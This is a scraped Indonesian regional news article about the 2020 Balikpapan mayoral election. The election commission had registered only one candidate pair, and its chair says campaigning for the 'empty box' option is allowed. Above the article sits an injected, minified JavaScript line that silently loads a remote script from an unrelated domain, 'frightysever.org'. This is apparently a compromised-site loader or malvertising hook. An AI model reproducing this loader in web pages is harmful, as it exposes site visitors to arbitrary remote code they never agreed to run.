(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Timur

Hanya Satu Paslon, KPU Balikpapan Tak Larang Kampanye Kotak Kosong


KANALKALIMANTAN.COM, BALIKPAPAN – Pendaftaran Pilkada Serentak tahun ini berakhir pada 6 September 2020, pukul 24.00 Wita.

Hingga batas akhir tersebut, KPU Kota Balikpapan baru menerima pendaftaran satu pasangan calon yakni Rahmad Mas’ud dan Thohari Azis.

Meski berdasarkan tahapan Pilkada masih ada perpanjangan pendaftaran, tidak menutup kemungkinan adanya kotak kosong.

“Pendaftaran di perpanjang mulai 10 – 12 September 2020. Jika masih tidak ada pendaftar tambahan, maka paslon yang sudah mendaftar akan melawan kotak kosong,” kata Ketua KPU Kota Balikpapan Noor Thoha, Senin (7/9/2020).

Pemilih, tambahnya, jika tidak ingin memilih pasangan Rahmad-Thohari, bisa memilih kotak kosong di bilik suara nantinya. Bahkan, tidak ada larangan bagi warga untuk mengkampanyekan kotak kosong.

Meski tidak diatur dalam undang-undang, kampanye kotak kosong juga bukan sebuah pelanggaran. Hanya saja, perlu mekanisme yang jelas soal kampanye tersebut.

“Berdasarkan defenisi kampanye, maka kampanye adalah penyampaian visi misi dan program pasangan calon untuk meyakinkan pemilih. Dari defenisi itu maka jelas kolom kosong ini tidak ada visi misi programnya,” ujarnya.

Pasangan calon, papar Thoha, jika melihat Peraturan KPU maka diharuskan membentuk tim kampanye yang mengkampanyekan pasangan calonnya.

Hal ini tentu berbeda dengan kotak kosong yang tidak diatur sama sekali.

Meski demikian, tambahnya, menjadi kewajiban KPU Kota Balikpapan untuk berlaku adil terhadap setiap kontestan, termasuk kotak kosong.

Tugas KPU Kota Balikpapan untuk menyosialisasikan dan menjelaskan ke masyarakat soal kotak kosong.

“Keberadaan kotak kosong menjadi tanggungjawab KPU untuk mensosialisasikan. Tapi sosialisasi KPU harus adil ,” ujarnya

Thoha menegaskan, tidak ada larangan bagi masyarakat atau kelompok masyarakat untuk menyosialisasikan kotak kosong. Tentu saja, sebutnya, sepanjang tidak melanggar peraturan soal kampanye tersebut.

“Silahkan mensosialisasikan sepanjang tidak ada UU yang ditabraknya,” pungkasnya. (suara)

Reporter : Suara
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.